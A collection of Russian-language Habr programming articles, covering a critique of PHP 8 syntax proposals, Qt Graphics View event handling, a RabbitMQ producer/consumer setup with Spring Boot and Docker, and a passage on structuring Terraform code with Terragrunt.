* Я всегда был в восторге от каждой новой версии PHP, что выходила со времен от 5.0 до 7.4 и всегда был адептом подхода «пишем на самой свежей версии, тестируем на следующей»
И всё-таки, несмотря на всё сказанное выше, мне не нравится то, во что превращается PHP сейчас и во что он превратится уже скоро, буквально этой осенью.
Почти каждый принятый в PHP 8 RFC вызывает во мне боль и недоумение. И я готов объяснить и защитить свою позицию.
Меняются базовые концепции языка
--------------------------------
С чего обычно начинается изучение нового языка? Значения, выражения, переменные и функции. Так и при изучении PHP — это естественный порядок.
Когда мы начинаем проходить функции, я обращаю особое внимание студентов на то, что в PHP контекст функций замкнут, «герметичен». Это очень просто и совершенно логично — нужно лишь четко запомнить, какие имена видит функция: свои аргументы и свои внутренние переменные.
Когда мы доходим до азов ООП и изучаем понятие «метод», мы опираемся на понятие функции, и добавляем еще один пункт к контексту: $this в динамических методах. Меняется ли что-то еще? Нет. Функции по-прежнему замкнуты, их контекст перестает существовать после вызова, снаружи ничто не протекает в функцию, наружу из нее тоже не утекает.
Доходим до анонимных функций — и тут правила игры тоже не меняются. Аргументы? Да. Внутренние переменные? Да. $this? ОК, давайте обойдем этот вопрос, иначе нам придется обсуждать странную вещь под названием «статическая анонимная функция» :)
Далее добавляем понятие «замыкания». С ним тоже всё логично, отдельное ключевое слово, конечный список переменных из контекста создания, базовые принципы не нарушены. А учитывая, что замыкается значение, а не имя, то вообще всё отлично — функции продолжают быть «герметичными». Ничто снаружи не просочится, ничто наружу не выливается.
А знаете, что происходит дальше?
А дальше у нас появляются стрелочные функции. И это ломает всё.
Я вынужден объяснять, что стрелочные функции нарушают усвоенные с таким трудом принципы, поскольку замыкают на себя ВЕСЬ контекст в момент своего создания.
Опс.
А как же принцип «герметичности»? А никак, на него наплевали в угоду упрощения написания, сэкономив 6 символов — теперь у нас «fn» вместо «function».
Плохо. Непоследовательно.
Вы думаете, что это единственный пример? Как бы не так.
Задайте любому нубу вопрос — с какого символа в PHP начинаются имена? Правильно, с символа "$"
* имена переменных
* имена свойств объектов
* имена свойств классов
* имена аргументов
* даже «переменные переменные» — тоже "$" !
Логично? Да. Последовательно? Да. Нужно только помнить про константы, которым $ не нужен.
Что теперь у нас появляется? Именованные аргументы: [wiki.php.net/rfc/named\_params](https://wiki.php.net/rfc/named_params)
```
array_fill(value: 50, num: 100, start_index: 0);
```
Где «доллар»? Нет.
Это проблема.
Теперь придется запоминать, что в сигнатуре функции «доллар» писать нужно, а при вызове — нет. И это очень серьезная проблема, нарушающая целостную систему языка. Это плохо и непоследовательно.
Ради чего? Да так, просто, потому что кому-то захотелось перенести сахарок из Python в PHP, не подумав. Однако в Python хотя бы используется один и тот же символ "=" для сопоставления имени и значения, что в присваивании, что в именованных аргументах, а у нас теперь их будет два — обычное "=" и ":" в новой конструкции.
Почти каждый обсуждаемый для PHP 8 RFC несет одну и ту же проблему — нарушение ранее сложившейся системы языка. И это плохо. Это ломает мозг и тем, кто пишет на PHP давно, и тем, кто только начинает его изучать.
Смотрите: ( [wiki.php.net/rfc/match\_expression\_v2](https://wiki.php.net/rfc/match_expression_v2) )
```
echo match (1) {
0 => 'Foo',
1 => 'Bar',
2 => 'Baz',
};
```
это новые match-expressions. Можете объяснить, почему в них используется символ "=>", а не привычный по switch-case ":"? И я не могу.
Это снова нарушение уже сложившейся системы. Символ "=>" всегда (до чертовых стрелочных функций, снова они!) обозначал разделитель пары «ключ-значение». Теперь он обозначает еще и разделитель списка аргументов и возвращаемого значения в «стрелке», и символ выбора значения в операторе match.
Это плохо. Это очень плохо. Это крайне непоследовательно. Это даже хуже, чем с ключевым словом static, которое используется как минимум в трех принципиально разных значениях.
Нечитаемость на естественном языке
----------------------------------
Покажите носителю английского текст
```
SELECT *
FROM users
WHERE age>=18 AND name LIKE 'J%'
```
и он, если его IQ превышает 60, с легкостью объяснит — о чем этот текст и что будет сделано при реализации этого текста, как программы.
Покажите гению, не знакомому с JS, текст
```
const f = () => 42;
```
и он не поймет ничего. Константа? f это скобки? Скобки стремятся к числу? Что это?
Я всегда был рад, что PHP далек от того, чтобы принести в жертву читаемость кода в угоду краткости. Я был рад, что он далек от JS, где принцип читаемости кода был отринут в пользу «пиши меньше символов, всё равно этот код читать никто не будет».
Теперь я понял, что в PHP 8 принцип естественной читаемости кода будет нарушен. И, судя по всему, бесповоротно.
Просто посмотрите на эти примеры:
[wiki.php.net/rfc/constructor\_promotion](https://wiki.php.net/rfc/constructor_promotion)
```
class Point {
public function __construct(
public float $x = 0.0,
public float $y = 0.0,
public float $z = 0.0,
) {}
}
```
Теперь у нас вместо аргументов конструктора — сразу и объявление свойств и задание им значений из аргументов.
Догадайтесь, что после знаков "="? Начальные значения свойств? Или дефолтные значения аргументов конструктора? Догадаться невозможно. Узнать, прочтя код — тоже. Это плохо. Еще одно место, которое нужно заучивать наизусть.
[wiki.php.net/rfc/property\_write\_visibility](https://wiki.php.net/rfc/property_write_visibility)
```
class User {
public:private int $id;
public:protected string $name;
}
```
Публично-приватное свойство? Серьезно? Как из этого кода понять, что речь идет о свойстве доступном на чтение и недоступном на запись?
[wiki.php.net/rfc/conditional\_break\_continue\_return](https://wiki.php.net/rfc/conditional_break_continue_return)
```
function divide($dividend, $divisor = null) {
return if ($divisor === null || $divisor === 0): 0;
return $dividend / $divisor;
}
```
Серьезно, это кому-то нужно? Кто-то писал годами на PHP и страдал из-за отсутствия возможности написать «return… if» вместо «if… return»? Нам действительно нужен новый йода-синтаксис для банального if и return?
Слишком много способов сделать одно и тоже
------------------------------------------
PHP всегда нарушал знаменитый принцип «должен быть один и только один способ...» Но он делал это разумно, понемногу и обоснованно.
Теперь же этот принцип растоптан и уничтожен. Каждый принимаемый RFC словно говорит «а давайте добавим еще один способ написать if, ведь я видел такое в Perl/Python/Ruby/Brainfuck!» — причем других обоснований, кроме как «я видел» в общем-то не приводится.
Что было:
```
if ($y == 0)
return 0;
if ($y == 0) {
return 0;
}
if ($y == 0):
return 0;
endif;
```
— целых три способа записи одного и того же. Не очень хорошо, приходится объяснять: зачем их три, почему не стоит писать код без операторных скобок и для чего нужен альтернативный синтаксис.
Но этого мало! Подождите еще немного, и вы увидите:
```
// революционный Йода-If
return if ($y == 0): 0;
```
Вот так вызывались функции:
```
foo(bar($baz));
```
Скоро вы увидите вот такое:
```
$baz |> 'bar' |> 'foo'
```
— гениально, не правда ли? Сразу же понятно, что это вызов функций!
И это я еще ничего не написал про стрелочные функции :)
Больше, больше способов сделать то, что делалось и раньше без всяких проблем:
* match-expressions
* оператор "?->"
* два разных синтаксиса для замыкания
* цикл + else
* статические конструкторы
* объявление свойств в аргументах конструктора (!)
и многое другое, что приведет лишь к тому, что код станет сложнее читать, а язык — сложнее изучать.
Итог
----
PHP развивается. Это важный процесс, который затрагивает огромное количество людей и влияет на всё сообщество программистов.
Однако начинает складываться ощущение, что развитие заходит куда-то не туда. Я опасаюсь, что принимаемые изменения приведут язык к тому, что программы на нем будут становиться всё более короткими и всё более малочитаемыми, к тому, что он будет предоставлять всё больше и больше возможностей сделать одно и тоже разными способами и для изучения всех этих способов будет требоваться всё больше и больше времени.
Мне не хочется увидеть через год на месте PHP новый Perl. А вам? | https://habr.com/ru/post/511266/ | null | ru | null |
# Qt Graphics Framework — темная сторона. Часть 1
В [первой](http://habrahabr.ru/post/182142/) статье я рассказывал как мог о достоинствах фреймворка. Сегодня я попытаюсь рассказать о его темной стороне, плохо освещенной в документации.
#### Дело №1
Мы хотим изменять размер сцены и объектов в ней согласно размеру отображаемого окна. В доке сказано:«QGraphicsView takes ownership of the viewport widget». Ну что-ж, создадим простейшим проект и напишем следующее:
MainWindow.h:
```
#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include
#include
#include
#include
class MainWindow : public QWidget
{
Q\_OBJECT
public:
explicit MainWindow(QWidget \*parent = 0);
~MainWindow();
private:
bool eventFilter(QObject \*, QEvent \*);
private:
QGraphicsScene \*m\_scene;
QGraphicsEllipseItem \*m\_elipse;
QGraphicsView \* graphicsView;
};
#endif // MAINWINDOW\_H
```
MainWindow.cpp:
```
#include "MainWindow.h"
#include
#include
#include
MainWindow::MainWindow(QWidget \*parent) :
QWidget(parent)
{
setLayout(new QGridLayout());
graphicsView = new QGraphicsView();
layout()->addWidget(graphicsView);
graphicsView->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
graphicsView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
m\_scene = new QGraphicsScene();
m\_elipse = new QGraphicsEllipseItem();
m\_scene->addItem(m\_elipse);
m\_scene->setSceneRect(m\_elipse->boundingRect());
graphicsView->setScene(m\_scene);
graphicsView->installEventFilter(this);
}
MainWindow::~MainWindow()
{
}
bool MainWindow::eventFilter(QObject \*, QEvent \*event)
{
if(event->type() == QEvent::Resize )
{
QResizeEvent \*res = reinterpret\_cast(event);
m\_elipse->setRect(0, 0, res->size().width(), res->size().height());
return true;
}
return false;
}
```
Ожидается, что меняя размера виджета, мы будем менять размер эллипса, но он по-прежнему будет виден целиком, т.к. изменится размер и отображаемой области. Компилируем, запускаем и убеждаемся, что как надо не работает: можно уменьшить первоначальный размер, но вот при превышении эллипс обрезается.
Тогда меняем
```
graphicsView->installEventFilter(this);
```
на
```
graphicsView->viewport()->installEventFilter(this);
```
Компилируем, запускаем — все работает. Теперь попробуем установить фильтр в сцену. Компилируем, запускаем и ничего не видим, вообще.
#### Дело №2
Хотим отслеживать положение мыши, при ее перемещении по сцене. Для это модифицируем наш тестовый и класс, следующим образом:
```
bool MainWindow::eventFilter(QObject *, QEvent *event)
{
if(event->type() ==QEvent::MouseMove)
{
qDebug()<
```
В конструктор дописываем:
```
graphicsView->setMouseTracking(true);
```
Ну и фильтр инсталлируем в graphicsView.
Компилируем, запускаем, убеждаемся что не работает. Инсталлируем фильтр в viewport и все снова работает.
Теперь немного модифицируем:
```
if(event->type() ==QEvent::MouseMove)
```
заменим на
```
if(event->type() ==QEvent::GraphicsSceneMouseMove)
```
И инсталлируем фильтр в сцену. И в отличии от прошлого раза мы обнаружим, что перемещение мыши отслеживается.
#### Выводы следствия
Как это было бы не странно с точки зрения новичка, но Graphics Framework действительно следует логике: отображение отдельно, а композиция отдельно. И потому событие об изменении размера не передается в сцену. И graphicsView действительно берет шефство над viewport. В этом можно убедится если в деле номер №1 заменить фильтр на:
```
if(event->type() == QEvent::Resize )
{
QResizeEvent *res = reinterpret_cast(event);
m\_elipse->setRect(0, 0, res->size().width(), res->size().height());
}
return false;
```
Т.е. убрать фильтрацию события, то мы увидим ожидаемое поведение. Т.е. событие отфильтровалось и дальше не было передано в viewport. А вот адекватное поведение при уменьшении вызвано внутренней логикой Qt или спонтанными событиями, как их именуют в коде.
Вернемся к передачи событий в сцену. Этот процесс вообще не описан, а здесь есть важный момент: перед тем как отправится в сцену graphicsView преобразуют событие в соответствующий QGRaphisSceneEvent, но происходит это уже в специализированных методах, собственно поэтому в доке и рекомендует переопределять их, а не точку входа (*event* или *viewportEvent*).
Еще раз обращу внимания на последний момент: логика фреймворка такова, что все внешние события подготавливаются для работы со сценой. Т.е. если у вас есть ваш QEvent, который должен быть передан сцене, то лучший способ, не нарушающий логику Qt — это создать аналог кастомного события, отнаследованный от QGRaphicsSceneEvent, написать метод преобразование и посылки преобразованного в сцену, который будет вызываться в классе, отнаследованном от QGraphicsView, ну и посылать QEvent в этот-самый модифицированный QGraphicsView.
Осталось рассмотреть последний этап: доставка события к Item-ам. Здесь картина аналогичная с доставкой до сцены, а именно: после того как событие пришло определяется какую специализированную функцию надо задействовать; в этой специализированной функции определяются координаты события, с помощью методов itemAt() определяется каким Item-а доставлять событие, затем событие подготавливается к доставке в Item и только после этого отправляется в него.
Кстати, здесь тоже грабли лежат. В доке сказано, что перед изменением геометрических размеров нужно вызывать geometryChange, в противном случае наткнемся на проблему с отрисовкой. Но не только, проблемы возникнут и с доставкой событий. | https://habr.com/ru/post/182614/ | null | ru | null |
# RabbitMQ + Spring boot + Docker. Отправляем и получаем сообщения через Producer и Consumer. Пошаговое руководство
Всем привет. Поскольку не смог найти полноценной статьи о том, как с нуля написать свой spring boot сервис с подключением к нему rabbitMQ, с конфигурацией всего это чуда через графический интерфейс и успешной отправкой и получением сообщения из очереди, то решил написать свою статью, что бы облегчить жизнь тем, кто захочет с этим познакомиться. Так же добавлю теоретическую часть, что бы не искать все эту информацию по всем источникам. Я постараюсь своими словами объяснять все, с чем мы будет сталкиваться. Если хотите узнать более подробно, то советую обратиться к официальной документации: [Официальный сайт RabbitMQ](https://www.rabbitmq.com/)
Практическая часть будет прерываться на теоретическую, что бы было понимание того, что происходит.
Давайте начнем.
**Подготовим наше окружение для работы:**
В статье использовался Docker Desktop. Система Windows
1. Первое что нам нужно сделать, это поднять нашу очередь в docker(о том как его поставить к себе на машину, я рассказывать не буду. На хабре огромное количество материала о том, как это сделать). Пишем простейший **docker-compose.yml**
```
version: '3'
services:
localRabbitMQ:
image: rabbitmq:3-management-alpine
environment:
RABBITMQ_DEFAULT_USER: user
RABBITMQ_DEFAULT_PASS: password
ports:
- 5672:5672
- 15672:15672
```
запускаем через консоль из папки, в которой лежит наш файл командой: **docker compose up**
Теперь на <http://localhost:15672/> должны видеть вот такую картину:
Credentials для входа мы указали в docker-compose.yml (user и password)
2. **Создание Exchange.** После авторизации нам нужно создать exchange. Параметры, указаны ниже на картинке в **Add a new exchange**. После нажимаем кнопку Add exchange. Тип указываем direct(это важно) Потому что типа direct, мы можем задать routingKey(ниже описано что это), а для fanout не можем, потому что он пропускает все сообщения.
Теперь немного погрузимся в теорию, что бы было понимание того, что за зверь этот exchange. Общая схема взаимодействия выглядит следующим образом:
**Producer** - производитель сообщений (отдельное приложение на Java)
**Consumer 1, Consumer 2** - потребители сообщений (отдельные приложения)
**Exchanges** - обменник. Cущность Rabbit, точка входа для публикации всех сообщений.
**Binding** - связь между Exchange и очередью
**Queue** - очередь сообщений
Все сообщения из приложения Producer попадают в Exchanges, после этого обрабатываются на основе binding и routingKey(дальше сделаем это на практике и вы поймете, как это работает), после сообщение попадает в очередь и забирается из нее consumer'ом.
3. **Создание очереди.** Теперь давайте создадим очередь (Queue) через которую будем передавать сообщения. В процессе работы у вас может фигурировать такая сущность, как virtual host, давайте его мы тоже создадим (потому что в продакшене точно не будет использоваться дефолтный) Заходим в admin, справа выбираем Virtual Hosts и создаем новый, чеhез кнопку add virtual host. Я назвал его cpp.
Далее переходим в **Queue** и создаем новую очередь. Я назвал ее Queue1
Остался последний шаг, для настройки окружения. Теперь зададим **Binding**. Он нужен для того, что бы данные, которые попадают в exchange(а туда попадают все сообщения из Producer'a) распределялись по разным очередям (Разные Bingings будут распределять сообщения в разные очереди). Для того, что бы создать Binding заходим в нашу созданную очередь и во вкладке **Bindings** добавляем новый binging
Теперь все сообщения, которые попадают в наш exchange, который называется testExchange и имеют routingKey с названием testRoutingKey, будут попадать в очередь queue1
4. **Мы закончили настройку окружения.** Теперь, перейдем к написанию кода. Для этого создадим два простейших приложения на Java с использованием Spring Boot.
Я использую 17 Java. Зависимости: Spring for RabbitMQ, Spring Web
5. **Разработка Producer'a и Consumer'a**
Я создам два простейших приложения. Одно назову RabbitMQProducer другое RabbitMQConsumer. Я использую порты: 8086 и 8087 соответственно. Вы можете использовать любые другие.
**Код RabbitMQConsumer:**
Создам два пакета: config, consumer. В пакете config будет класс RabbitConf, а в пакете consumer класс RabbitMQConsumer
RabbitConf
```
@Configuration
public class RabbitConf {
@Bean
public ConnectionFactory connectionFactory() {
CachingConnectionFactory cachingConnectionFactory = new CachingConnectionFactory("localhost");
cachingConnectionFactory.setUsername("user");
cachingConnectionFactory.setPassword("password");
cachingConnectionFactory.setVirtualHost("cpp");
return cachingConnectionFactory;
}
@Bean
public AmqpAdmin amqpAdmin() {
return new RabbitAdmin(connectionFactory());
}
@Bean
public RabbitTemplate rabbitTemplate() {
return new RabbitTemplate(connectionFactory());
}
@Bean
public Queue myQueue() {
return new Queue("queue1");
}
@Bean
DirectExchange exchange() {
return new DirectExchange("testExchange", true, false);
}
@Bean
Binding binding(Queue queue, DirectExchange exchange) {
return BindingBuilder.bind(queue).to(exchange).with("testRoutingKey");
}
}
```
RabbitMQConsumer
```
@Component
@EnableRabbit
public class RabbitMQConsumer {
@RabbitListener(queues = "queue1")
public void processMyQueue(String message) {
System.out.printf("Received from myQueue : %s ", new String(message.getBytes()));
}
}
```
RabbitMqConsumerApplication
```
@SpringBootApplication
public class RabbitMqConsumerApplication {
public static void main(String[] args) {
SpringApplication.run(RabbitMqConsumerApplication.class, args);
}
}
```
**Код RabbitMQProducer:**
Создам 4 пакета: config, controller, model, producer В пакете config будет класс RabbitConf, в пакете controller класс RabbitController, в пакете model класс MessageModel и в пакете producer интерфейс RabbitMQProducerService и его имплементация RabbitMQProducerServiceImpl. Пакеты service и пакет impl в пакете producer создавать не стал (прошу прощения, если кого-то это задело).
RabbitConfig
```
@Configuration
public class RabbitConfig {
@Bean
public ConnectionFactory connectionFactory() {
CachingConnectionFactory cachingConnectionFactory = new CachingConnectionFactory("localhost");
cachingConnectionFactory.setUsername("user");
cachingConnectionFactory.setPassword("password");
cachingConnectionFactory.setVirtualHost("cpp");
return cachingConnectionFactory;
}
@Bean
public AmqpAdmin amqpAdmin() {
return new RabbitAdmin(connectionFactory());
}
@Bean
public RabbitTemplate rabbitTemplate() {
return new RabbitTemplate(connectionFactory());
}
@Bean
public Queue myQueue() {
return new Queue("queue");
}
@Bean
DirectExchange exchange() {
return new DirectExchange("testExchange", true, false);
}
@Bean
Binding binding(Queue queue, DirectExchange exchange) {
return BindingBuilder.bind(queue).to(exchange).with("testRoutingKey");
}
}
```
RabbitController
```
@RestController
public class RabbitController {
private final RabbitMQProducerService rabbitMQProducerService;
@Autowired
public RabbitController(RabbitMQProducerService rabbitMQProducerService) {
this.rabbitMQProducerService = rabbitMQProducerService;
}
@GetMapping("/send")
public void sendMessageToRabbit(@RequestBody MessageModel messageModel) {
rabbitMQProducerService.sendMessage(messageModel.getMessage(), messageModel.getRoutingKey());
}
@GetMapping("/health")
public String healthCheck() {
return "OK";
}
}
```
MessageModel
```
@Data
public class MessageModel {
private String message;
private String routingKey;
}
```
RabbitMQProducerService
```
public interface RabbitMQProducerService {
void sendMessage(String message, String routingKey);
}
```
RabbitMQProducerServiceImpl
```
@Service
public class RabbitMQProducerServiceImpl implements RabbitMQProducerService {
private final RabbitTemplate rabbitTemplate;
@Autowired
public RabbitMQProducerServiceImpl(RabbitTemplate rabbitTemplate) {
this.rabbitTemplate = rabbitTemplate;
}
public void sendMessage(String message, String routingKey) {
rabbitTemplate.convertAndSend("testExchange", routingKey, message);
}
}
```
RabbitMqProducerApplication
```
@SpringBootApplication
public class RabbitMqProducerApplication {
public static void main(String[] args) {
SpringApplication.run(RabbitMqProducerApplication.class, args);
}
}
```
На всякий случай прикрепляю свой pom.xml он одинаковый для обоих проектов.
Pom.xml
```
xml version="1.0" encoding="UTF-8"?
4.0.0
org.springframework.boot
spring-boot-starter-parent
3.0.0
com.example
rabbitMQProducer
0.0.1-SNAPSHOT
rabbitMQProducer
rabbitMQProducer
17
org.springframework.boot
spring-boot-starter-amqp
org.springframework.boot
spring-boot-starter-web
org.projectlombok
lombok
true
org.springframework.boot
spring-boot-starter-test
test
org.springframework.amqp
spring-rabbit-test
test
org.springframework.boot
spring-boot-maven-plugin
org.projectlombok
lombok
```
6. **Тестирование работоспособности:**
При отправке запроса через Postman на наш Producer с параметрами:
`{`
`"message": "just text",`
`"routingKey": "testRoutingKey"`
`}`
В нашем Consumer'e мы видим следующее:
Таким образом мы видим, что наше сообщение получено из очереди queue1, но если мы передадим в нашем запросе к Producer'у `"routingKey": отличный от значения "testRoutingKey"`, то наш Consumer не получит это сообщение из очереди поскольку он получает только сообщения с `routingKey = testRoutingKey.`
На этом можно завершать данную статью, надеюсь что она была вам полезна. и вам стало немного понятнее, как начать свое знакомство с RabbitMQ. А самое главное теперь стало понятно, в каком направлении копать дальше.
Если есть комментарии и замечания, прошу писать. Постараюсь исправить. | https://habr.com/ru/post/703352/ | null | ru | null |
# Компоновка кода Terraform и использование Terragrunt
Terraform позволяет организовывать свой код так, как вам хочется.
Это обеспечивает большую гибкость и позволяет легко начать работу, просто поместив несколько ресурсов в файл и запустив `terraform apply`.
Но по мере роста вашей среды потребуется более строгий подход к структурированию кода.
В этом посте рассказывается о том, как мы начали с простого свободного расположения файлов в одной папке, а затем перешли на Terragrunt, чтобы решить некоторые возникшие проблемы.
Первое, что вам понадобится при работе с Terraform, — это управление файлом состояния.
### Управление состоянием
Состояние Terraform — это место, где Terraform хранит информацию о ресурсах, которые вы создали с его помощью.
Если вы один разработчик, то можете просто хранить файл `terraform.tfstate` локально на своей машине (не поднимая его в Git, так как он потенциально может содержать конфиденциальную информацию), но при работе в команде необходимы две вещи:
1. Способ безопасного обмена этим файлом состояния
2. Способ предотвратить одновременное изменение файла состояния несколькими разработчиками.
К счастью, бэкенд типа `s3` решает все эти проблемы - <https://www.terraform.io/docs/language/settings/backends/s3.html>.
Он хранит файл `terraform.tfstate` в S3-бакете и использует DynamoDB для получения эксклюзивной блокировки перед выполнением действий, которым нужен файл состояния.
Однако при этом возникают новые проблемы: как изначально создать S3-бакет и таблицу DynamoDB?
Существует множество решений, это можно сделать с помощью `Cloudformation` или вручную.
Но мы хотели сохранить все это в Terraform, поэтому у нас есть модуль, который создает S3-бакет и таблицу DynamoDB.
Он инстанцируется один раз в каждой среде в папке `bootstrap`, чтобы дать нам специфические для среды S3-бакеты и таблицы DynamoDB для "основного" состояния Terraform, а состояние Terraform для этих двух бутстрап-ресурсов хранится в Git.
Эти 2 начальных ресурса никогда не изменяются после первоначального создания, поэтому нам не нужна блокировка для защиты этого состояния от одновременного изменения, и оно не содержит никаких конфиденциальных данных, поэтому мы с удовольствием коммитим его в Git.
### Как компоновать код Terraform
Разобравшись с управлением файлами состояния, можно перейти к определению ресурсов, которые необходимо создать.
Начать можно отсюда:
```
terraform/
dev/
bootstrap/
bootstrap.tf
terraform.tfstate
staging/
bootstrap/
bootstrap.tf
terraform.tfstate
prod/
bootstrap/
bootstrap.tf
terraform.tfstate
```
Каждая из этих папок представляет собой отдельное состояние Terraform, поэтому если вы допустите ошибку `terraform applying` в одной среде, это не повлияет на другие.
Внутри каждой папки вам нужно будет решить, как разделить файлы, содержащие определения модулей и ресурсов.
Можно было бы просто иметь один огромный файл `terraform.tf` и поместить в него все определения.
Но при этом вы получите множество конфликтов мерджинга и обнаружите, что практически невозможно будет найти, где определены конкретные ресурсы.
Поэтому разумный макет выглядит следующим образом:
```
/terraform
dev/
application_a.tf
-> resources / modules for app A
application_b.tf
-> resources / module for app B
vpc.tf
-> VPC / Subnets / NAT Gateways etc.
eks.tf
-> K8s Cluster
```
Настройте его под свой конкретный набор технологий, идея вам ясна.
### Переменные
Следующее, что вам понадобится, это способ определения переменных. Модули для приложения A, вероятно, должны брать имя приложения A, чтобы они могли тегировать ресурсы / добавлять идентификаторы, поэтому поместите блок locals в `application_a.tf`.
```
locals {
app_a_name = "A"
}
```
А затем в определении модуля сослаться на него
```
module app_a_resources {
app_name = local.app_a_name
}
```
Обратите внимание, что каждый файл в каталоге `dev/` будет иметь доступ к этому блоку `locals`, поэтому вы не можете просто вызвать переменную `app_name`.
Вероятно, у вас также есть некоторые переменные, которые должны быть одинаковыми во всех приложениях, например, в вашей компании есть соглашения о том, когда наступают окна технического обслуживания для инстансов RDS.
Поэтому вы либо копируете окно в определение модуля для каждой базы данных во всех приложениях, либо определяете его как локальное где-либо и ссылаетесь на него в каждом модуле, которому оно необходимо.
### Проблемы с этим подходом
Возможно, некоторое время это будет работать хорошо, но потом вы заметите, что начинают появляться некоторые проблемы.
1. Поскольку вся ваша среда представляет собой единое состояние `Terraform`, операции `terraform`, такие как `plan` и `apply`, будут занимать все больше времени, так как они обрабатывают каждый ресурс в среде.
2. По мере роста вашего репозитория terraform структура будет становиться все менее последовательной.
Люди будут называть файлы `e_resources.tf`, а не `application_e.tf`.
Люди будут забывать/не находить локальное определение для `maintainence_window = "mon12:13"` и создавать новые локальные определения, такие как `maint_window`, или просто вводить строку в качестве переменной.
Люди будут создавать модули Terraform с незначительными вариациями имен переменных, `app_name` будет `app` в одних местах, `subnet_id` будет `subnet` в других.
Это не является большой проблемой, вы можете просто изменить локальное имя на соответствующее в определении модуля.
```
module a_resources {
app = local.app_name
}
```
Но по мере того, как люди будут пытаться читать/изменять и расширять код, это будет приводить к ошибкам, поскольку они не смогут уловить небольшие изменения имен переменных.
Впоследствии, у вас будет другой регион AWS, и теперь нужно, чтобы `maintainence_window` отличалось, для учета часовых поясов и активности клиентов в разное время.
Нет проблем, вы создаете `eu_maintainence_window` и во всех определениях модуля `eu` пишете
```
module eu_a_resources {
maintainence_window = local.eu_maintainence_window
}
```
Однажды кто-то скопирует определение `maintainence_window` при создании модуля EU и забудет изменить его, в результате чего база данных перезагрузится в пиковое время для ваших клиентов из EU.
В идеале вы должны переименовать `maintainence_window` в `us_maintainence_window` везде, но в реальности из-за нехватки времени такой рефакторинг обычно не доводится до конца.
3. Список `.tf`-файлов в одной директории становится довольно большим, и вам приходится часто использовать `grep`, чтобы найти то, что вы ищете.
4. Однажды кто-то быстро определяет дополнительный ресурс для `app_c` в `dev` вне модуля `app_c_resources` и прямо в файле `dev/app_c.tf`, чтобы быстро протестировать что-то.
Они забывают перенести ресурс в модуль, и когда `app_c` запускается, в нем отсутствует ресурс или изменения не были скопированы из `dev/app_c.tf` в `prod/app_c.tf`.
Большинство этих проблем могут быть решены, тщательное ревью кода и обязательства по рефакторингу в случае дрейфа имен переменных позволят вам сохранить репозиторий Terraform в аккуратном и опрятном виде.
Однако постоянно увеличивающийся размер вашего состояния Terraform будет замедлять работу.
Также помните, что только один человек может получить блокировку для изменения файла состояния, поэтому вы можете оказаться в ожидании очереди на запуск `terraform apply`.
И наконец, если вы случайно повреждаете состояние, то потенциально может пострадать большое количество ресурсов (убедитесь, что у вас включено версионирование S3!).
Для решения этих проблем мы начали использовать [Terragrunt](https://terragrunt.gruntwork.io/), который отлично себя зарекомендовал.
### Terragrunt
Долгое время я пытался понять, в чем смысл Terragrunt и что именно он делает.
Лучше всего это можно объяснить так: Terragrunt накладывает ограничения на то, как вы можете организовать свой код Terraform, и заставляет вас использовать иерархии структуры каталогов и общие файлы определения переменных для организации вашего кода.
Эти ограничения заставляют ваш код быть более последовательным и затрудняют совершение ошибок, в то же время снижая степень вашей гибкости.
Не думаю, что я смог бы по-настоящему оценить Terragrunt, не пройдя через все вышеперечисленное и не увидев проблемы, связанные с возможностями свободного стиля.
### Логическая организация вашей инфраструктуры
Чтобы использовать Terragrunt, вы должны решить, как ваша инфраструктура может быть логически разбита на более мелкие группы.
Например, на верхнем уровне у вас может быть среда (например, dev), затем регион (например, us-east-1), приложение (например, app-a), и, наконец, части инфраструктуры, необходимые приложению (например, база данных, кэш, s3-бакет).
Таким образом, у вас будет примерно следующая структура папок
```
dev/
-> us-east-1/
-> applications/
-> app-a
-> database/
-> terragrunt.hcl
-> cache/
-> terragrunt.hcl
-> s3-bucket/
-> terragrunt.hcl
```
Ваша структура каталогов отражает то, как организована ваша инфраструктура.
Файлы `terragrunt.hcl` - это то, что читает Terragrunt, чтобы понять, какой модуль Terraform применить, подробнее об этом позже.
А что, если мы добавим еще одно приложение, которому просто нужна IAM роль?
```
dev/
-> us-east-1/
-> applications/
-> app-a
-> database/
-> terragrunt.hcl
-> cache/
-> terragrunt.hcl
-> s3-bucket/
-> terragrunt.hcl
-> app-b/
-> iam-role/
-> terragrunt.hcl
```
Это замечательно, но как насчет ресурсов, совместно используемых в регионе, например в кластере EKS?
Вы можете размещать папки где угодно, поэтому давайте создадим некоторые из них на уровне среды.
```
dev/
-> us-east-1/
-> eks-cluster/
-> terragrunt.hcl
-> applications/
-> app-a
-> database/
-> terragrunt.hcl
-> cache/
-> terragrunt.hcl
-> s3-bucket/
-> terragrunt.hcl
-> app-b/
-> iam-role
-> terragrunt.hcl
```
Итак, почему мы поместили `app-a` и `app-b` в папку с названием `applications`?
Разве они не могли быть просто в папке `us-east-1`?
Могли, но если у вас в компании много приложений, то возможность сгруппировать их все в одной папке может быть более удобной, и это дает вам опцию иметь общий файл значений, эксклюзивно для всех ваших приложений.
**Файлы значений**
Давайте поговорим об общих файлах значений, еще одной важной особенности Terragrunt.
Каждый модуль Terraform принимает входные переменные, которые управляют точными деталями ресурсов, которые он создает.
Некоторые из этих входных переменных, вероятно, будут одинаковыми для всех ресурсов, развернутых в среде, например, `environment_name` для таких вещей, как тегирование.
Вместо того чтобы писать `environment_name=dev` в каждом отдельном файле `terragrunt.hcl`, давайте определим все эти переменные уровня окружения в файле `environment.yaml`
```
dev/
-> environment.yaml
-> us-east-1/
-> eks-cluster/
-> terragrunt.hcl
-> applications/
-> app-a/
-> database/
-> terragrunt.hcl
-> cache/
-> terragrunt.hcl
-> s3-bucket/
-> terragrunt.hcl
-> app-b/
-> iam-role/
-> terragrunt.hcl
```
И `environment.yaml` будет выглядеть следующим образом:
```
environment_name: dev
```
Далее у нас есть некоторые настройки на уровне региона, например, в `us-east-1` нам нужно, чтобы окно `maintenance_window` для инстансов RDS было в период `mon05:00-07:00` - тихое время для наших клиентов из США.
```
dev/
-> environment.yaml
-> us-east-1/
-> region.yaml
-> eks-cluster/
-> terragrunt.hcl
-> applications/
-> app-a/
-> database/
-> terragrunt.hcl
-> cache/
-> terragrunt.hcl
-> s3-bucket/
-> terragrunt.hcl
-> app-b/
-> iam-role/
-> terragrunt.hcl
```
И `region.yaml` будет выглядеть следующим образом:
```
maintainence_window: mon05:00-07:00
```
